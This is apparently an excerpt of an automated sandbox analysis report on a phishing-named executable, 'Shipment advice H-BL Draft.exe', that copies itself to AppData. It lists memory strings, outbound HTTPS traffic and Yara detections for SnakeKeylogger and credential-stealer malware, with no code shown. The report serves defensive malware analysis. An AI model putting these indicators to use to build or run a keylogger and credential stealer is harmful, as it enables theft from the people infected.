Source: PrcGlGVKeUCXxg.exe, 00000012.00000002.3719627669.0000000002E5C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/8.46.123.189
Source: Shipment advice H-BL Draft.exe, 0000000D.00000002.3718301984.0000000002B52000.00000004.00000800.00020000.00000000.sdmp, Shipment advice H-BL Draft.exe, 0000000D.00000002.3718301984.0000000002A88000.00000004.00000800.00020000.00000000.sdmp, Shipment advice H-BL Draft.exe, 0000000D.00000002.3718301984.0000000002B64000.00000004.00000800.00020000.00000000.sdmp, Shipment advice H-BL Draft.exe, 0000000D.00000002.3718301984.0000000002B72000.00000004.00000800.00020000.00000000.sdmp, Shipment advice H-BL Draft.exe, 0000000D.00000002.3718301984.0000000002A61000.00000004.00000800.00020000.00000000.sdmp, Shipment advice H-BL Draft.exe, 0000000D.00000002.3718301984.0000000002A1C000.00000004.00000800.00020000.00000000.sdmp, PrcGlGVKeUCXxg.exe, 00000012.00000002.3719627669.0000000002EC8000.00000004.00000800.00020000.00000000.sdmp, PrcGlGVKeUCXxg.exe, 00000012.00000002.3719627669.0000000002FA3000.00000004.00000800.00020000.00000000.sdmp, PrcGlGVKeUCXxg.exe, 00000012.00000002.3719627669.0000000002EA1000.00000004.00000800.00020000.00000000.sdmp, PrcGlGVKeUCXxg.exe, 00000012.00000002.3719627669.0000000002FB1000.00000004.00000800.00020000.00000000.sdmp, PrcGlGVKeUCXxg.exe, 00000012.00000002.3719627669.0000000002F91000.00000004.00000800.00020000.00000000.sdmp, PrcGlGVKeUCXxg.exe, 00000012.00000002.3719627669.0000000002E5C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/8.46.123.189$
Source: Shipment advice H-BL Draft.exe, 0000000D.00000002.3722661271.0000000003C74000.00000004.00000800.00020000.00000000.sdmp, PrcGlGVKeUCXxg.exe, 00000012.00000002.3724102996.00000000040B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/v20
Source: Shipment advice H-BL Draft.exe, 0000000D.00000002.3722661271.0000000003C74000.00000004.00000800.00020000.00000000.sdmp, PrcGlGVKeUCXxg.exe, 00000012.00000002.3724102996.00000000040B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_alldp.ico
Source: PrcGlGVKeUCXxg.exe, 00000012.00000002.3719627669.0000000002F80000.00000004.00000800.00020000.00000000.sdmp, PrcGlGVKeUCXxg.exe, 00000012.00000002.3719627669.0000000002F71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.office.com/
Source: Shipment advice H-BL Draft.exe, 0000000D.00000002.3718301984.0000000002B40000.00000004.00000800.00020000.00000000.sdmp, PrcGlGVKeUCXxg.exe, 00000012.00000002.3719627669.0000000002F80000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.office.com/4
Source: Shipment advice H-BL Draft.exe, 0000000D.00000002.3718301984.0000000002B31000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.office.com/H~
Source: Shipment advice H-BL Draft.exe, 0000000D.00000002.3718301984.0000000002B3B000.00000004.00000800.00020000.00000000.sdmp, PrcGlGVKeUCXxg.exe, 00000012.00000002.3719627669.0000000002F7B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.office.com/lB

Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745

Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.4:49751 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.4:49755 version: TLS 1.2

System Summary

Malicious sample detected (through community Yara rule)

Source: 13.2.Shipment advice H-BL Draft.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 0.2.Shipment advice H-BL Draft.exe.498b840.3.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 14.2.PrcGlGVKeUCXxg.exe.4c10530.3.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 14.2.PrcGlGVKeUCXxg.exe.4bcc710.2.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 14.2.PrcGlGVKeUCXxg.exe.4c10530.3.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 14.2.PrcGlGVKeUCXxg.exe.4bcc710.2.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 0.2.Shipment advice H-BL Draft.exe.49cf660.2.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 0.2.Shipment advice H-BL Draft.exe.498b840.3.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 0.2.Shipment advice H-BL Draft.exe.49cf660.2.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 14.2.PrcGlGVKeUCXxg.exe.4c10530.3.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 14.2.PrcGlGVKeUCXxg.exe.4bcc710.2.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 0.2.Shipment advice H-BL Draft.exe.498b840.3.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 0.2.Shipment advice H-BL Draft.exe.49cf660.2.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 0.2.Shipment advice H-BL Draft.exe.49cf660.2.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 0.2.Shipment advice H-BL Draft.exe.49cf660.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 0.2.Shipment advice H-BL Draft.exe.49cf660.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 14.2.PrcGlGVKeUCXxg.exe.4c10530.3.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 14.2.PrcGlGVKeUCXxg.exe.4c10530.3.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 14.2.PrcGlGVKeUCXxg.exe.4c10530.3.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 0.2.Shipment advice H-BL Draft.exe.498b840.3.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 0.2.Shipment advice H-BL Draft.exe.498b840.3.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 0.2.Shipment advice H-BL Draft.exe.498b840.3.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 14.2.PrcGlGVKeUCXxg.exe.4bcc710.2.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 14.2.PrcGlGVKeUCXxg.exe.4bcc710.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 14.2.PrcGlGVKeUCXxg.exe.4bcc710.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 00000000.00000002.1319618401.000000000498B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 0000000E.00000002.1382016232.0000000004BCC000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: Process Memory Space: Shipment advice H-BL Draft.exe PID: 7548, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: Process Memory Space: PrcGlGVKeUCXxg.exe PID: 1340, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: Process Memory Space: PrcGlGVKeUCXxg.exe PID: 1340, type: MEMORYSTR	Matched rule: Phoenix/404KeyLogger keylogger payload Author: ditekSHen

Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Code function: 0_2_016E3E40	0_2_016E3E40
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Code function: 0_2_016E6F90	0_2_016E6F90
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Code function: 0_2_016EDA7C	0_2_016EDA7C
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Code function: 0_2_07C6C778	0_2_07C6C778
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Code function: 0_2_07C6C340	0_2_07C6C340
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Code function: 0_2_07C6CFF3	0_2_07C6CFF3
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Code function: 0_2_07C6EC5F	0_2_07C6EC5F
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Code function: 0_2_07C6EC70	0_2_07C6EC70
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Code function: 0_2_07C6CBC0	0_2_07C6CBC0
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Code function: 0_2_07CC4898	0_2_07CC4898
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Code function: 13_2_0280D278	13_2_0280D278
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Code function: 13_2_02805370	13_2_02805370
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Code function: 13_2_0280C148	13_2_0280C148
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Code function: 13_2_0280C738	13_2_0280C738
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Code function: 13_2_0280C468	13_2_0280C468
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Code function: 13_2_0280CA08	13_2_0280CA08
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Code function: 13_2_0280E988	13_2_0280E988
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Code function: 13_2_028069B0	13_2_028069B0
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Code function: 13_2_0280CFA9	13_2_0280CFA9
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Code function: 13_2_0280CCD8	13_2_0280CCD8
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Code function: 13_2_02809DE0	13_2_02809DE0
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Code function: 13_2_028029E0	13_2_028029E0
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Code function: 13_2_0280F961	13_2_0280F961
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Code function: 13_2_0280F970	13_2_0280F970
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Code function: 13_2_0280E97A	13_2_0280E97A
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Code function: 13_2_02803E18	13_2_02803E18
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Code function: 13_2_06699668	13_2_06699668
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Code function: 13_2_06692A90	13_2_06692A90
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Code function: 13_2_06691FA8	13_2_06691FA8
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Code function: 13_2_06691850	13_2_06691850
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Code function: 13_2_06695148	13_2_06695148
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Code function: 13_2_06699D38	13_2_06699D38
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Code function: 13_2_0669D660	13_2_0669D660
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Code function: 13_2_0669D670	13_2_0669D670
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Code function: 13_2_0669D218	13_2_0669D218
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Code function: 13_2_0669DAC8	13_2_0669DAC8
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Code function: 13_2_0669DAB9	13_2_0669DAB9
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Code function: 13_2_0669E36A	13_2_0669E36A
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Code function: 13_2_0669E378	13_2_0669E378
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Code function: 13_2_0669DF20	13_2_0669DF20
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Code function: 13_2_06690B20	13_2_06690B20
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Code function: 13_2_06690B30	13_2_06690B30
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Code function: 13_2_0669DF1F	13_2_0669DF1F
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Code function: 13_2_0669E7CF	13_2_0669E7CF
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Code function: 13_2_0669E7D0	13_2_0669E7D0
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Code function: 13_2_06691FA2	13_2_06691FA2
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Code function: 13_2_0669F071	13_2_0669F071
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Code function: 13_2_06691841	13_2_06691841
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Code function: 13_2_06690040	13_2_06690040
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Code function: 13_2_0669EC28	13_2_0669EC28
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Code function: 13_2_0669003F	13_2_0669003F
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Code function: 13_2_0669EC18	13_2_0669EC18
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Code function: 13_2_06698CC0	13_2_06698CC0
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Code function: 13_2_0669F4D8	13_2_0669F4D8
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Code function: 13_2_0669F080	13_2_0669F080
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Code function: 13_2_0669F922	13_2_0669F922
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Code function: 13_2_06695138	13_2_06695138
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Code function: 13_2_0669F930	13_2_0669F930
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Code function: 13_2_0669CDC0	13_2_0669CDC0
Source: C:\Users\user\Desktop\Shipment advice H-BL Draft.exe	Code function: 13_2_0669CDAF	13_2_0669CDAF
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Code function: 14_2_01953E40	14_2_01953E40
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Code function: 14_2_01956F90	14_2_01956F90
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Code function: 14_2_0195DA7C	14_2_0195DA7C
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Code function: 14_2_077839F8	14_2_077839F8
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Code function: 18_2_0148C146	18_2_0148C146
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Code function: 18_2_01485370	18_2_01485370
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Code function: 18_2_0148D278	18_2_0148D278
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Code function: 18_2_0148C474	18_2_0148C474
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Code function: 18_2_0148C738	18_2_0148C738
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Code function: 18_2_0148E988	18_2_0148E988
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Code function: 18_2_014869A0	18_2_014869A0
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Code function: 18_2_01483B95	18_2_01483B95
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Code function: 18_2_0148CA08	18_2_0148CA08
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Code function: 18_2_01489DE0	18_2_01489DE0
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Code function: 18_2_0148CCD8	18_2_0148CCD8
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Code function: 18_2_01486FC8	18_2_01486FC8
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Code function: 18_2_0148CFAC	18_2_0148CFAC
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Code function: 18_2_01483E09	18_2_01483E09
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Code function: 18_2_0148F961	18_2_0148F961
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Code function: 18_2_0148E97C	18_2_0148E97C
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Code function: 18_2_014829EC	18_2_014829EC
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Code function: 18_2_01483AA1	18_2_01483AA1
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Code function: 18_2_056C81D0	18_2_056C81D0
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Code function: 18_2_056C7B78	18_2_056C7B78
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Code function: 18_2_056C8FB0	18_2_056C8FB0
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Code function: 18_2_056CC560	18_2_056CC560
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Code function: 18_2_056CA570	18_2_056CA570
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Code function: 18_2_056CC54F	18_2_056CC54F
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Code function: 18_2_056C0D48	18_2_056C0D48
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Code function: 18_2_056CE540	18_2_056CE540
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Code function: 18_2_056CA55F	18_2_056CA55F
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Code function: 18_2_056CE550	18_2_056CE550
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Code function: 18_2_056C0D39	18_2_056C0D39
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Code function: 18_2_056C15E8	18_2_056C15E8
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Code function: 18_2_056CE9E0	18_2_056CE9E0
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Code function: 18_2_056CC9E0	18_2_056CC9E0
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Code function: 18_2_056C15F8	18_2_056C15F8
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Code function: 18_2_056CC9F0	18_2_056CC9F0
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Code function: 18_2_056CA9F0	18_2_056CA9F0
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Code function: 18_2_056CE9D0	18_2_056CE9D0
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Code function: 18_2_056C11A0	18_2_056C11A0
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Code function: 18_2_056C1190	18_2_056C1190
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Code function: 18_2_056C3460	18_2_056C3460
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Code function: 18_2_056C6478	18_2_056C6478
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Code function: 18_2_056C0040	18_2_056C0040
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Code function: 18_2_056CBC40	18_2_056CBC40
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Code function: 18_2_056C9C50	18_2_056C9C50
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Code function: 18_2_056C3450	18_2_056C3450
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Code function: 18_2_056CBC2F	18_2_056CBC2F
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Code function: 18_2_056CFC20	18_2_056CFC20
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Code function: 18_2_056C6022	18_2_056C6022
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Code function: 18_2_056C9C3F	18_2_056C9C3F
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Code function: 18_2_056C6030	18_2_056C6030
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Code function: 18_2_056CDC30	18_2_056CDC30
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Code function: 18_2_056C3008	18_2_056C3008
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Code function: 18_2_056C0007	18_2_056C0007
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Code function: 18_2_056CDC1F	18_2_056CDC1F
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Code function: 18_2_056C80E6	18_2_056C80E6
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Code function: 18_2_056CA0E0	18_2_056CA0E0
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Code function: 18_2_056C08E0	18_2_056C08E0
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Code function: 18_2_056C08F0	18_2_056C08F0
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Code function: 18_2_056C80C8	18_2_056C80C8
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Code function: 18_2_056CE0C0	18_2_056CE0C0
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Code function: 18_2_056CC0C0	18_2_056CC0C0
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Code function: 18_2_056CC0D0	18_2_056CC0D0
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Code function: 18_2_056CA0D0	18_2_056CA0D0
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Code function: 18_2_056C38B8	18_2_056C38B8
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Code function: 18_2_056CE0B0	18_2_056CE0B0
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Code function: 18_2_056C6488	18_2_056C6488
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Code function: 18_2_056C0489	18_2_056C0489
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Code function: 18_2_056C0498	18_2_056C0498
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Code function: 18_2_056C7B69	18_2_056C7B69
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Code function: 18_2_056C5770	18_2_056C5770
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Code function: 18_2_056C2749	18_2_056C2749
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Code function: 18_2_056C2758	18_2_056C2758
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Code function: 18_2_056C5328	18_2_056C5328
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Code function: 18_2_056C7720	18_2_056C7720
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Code function: 18_2_056CB320	18_2_056CB320
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Code function: 18_2_056C2300	18_2_056C2300
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Code function: 18_2_056CF300	18_2_056CF300
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Code function: 18_2_056CD300	18_2_056CD300
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Code function: 18_2_056C531A	18_2_056C531A
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Code function: 18_2_056CD310	18_2_056CD310
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Code function: 18_2_056C7710	18_2_056C7710
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Code function: 18_2_056CB310	18_2_056CB310
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Code function: 18_2_056C2FF9	18_2_056C2FF9
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Code function: 18_2_056C97C0	18_2_056C97C0
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Code function: 18_2_056C5BD8	18_2_056C5BD8
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Code function: 18_2_056CD7A0	18_2_056CD7A0
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Code function: 18_2_056C2BA0	18_2_056C2BA0
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Code function: 18_2_056CB7A0	18_2_056CB7A0
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Code function: 18_2_056C8FA1	18_2_056C8FA1
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Code function: 18_2_056C2BB0	18_2_056C2BB0
Source: C:\Users\user\AppData\Roaming\PrcGlGVKeUCXxg.exe	Code function: 18_2_056CB7B0	18_2_056CB7B0
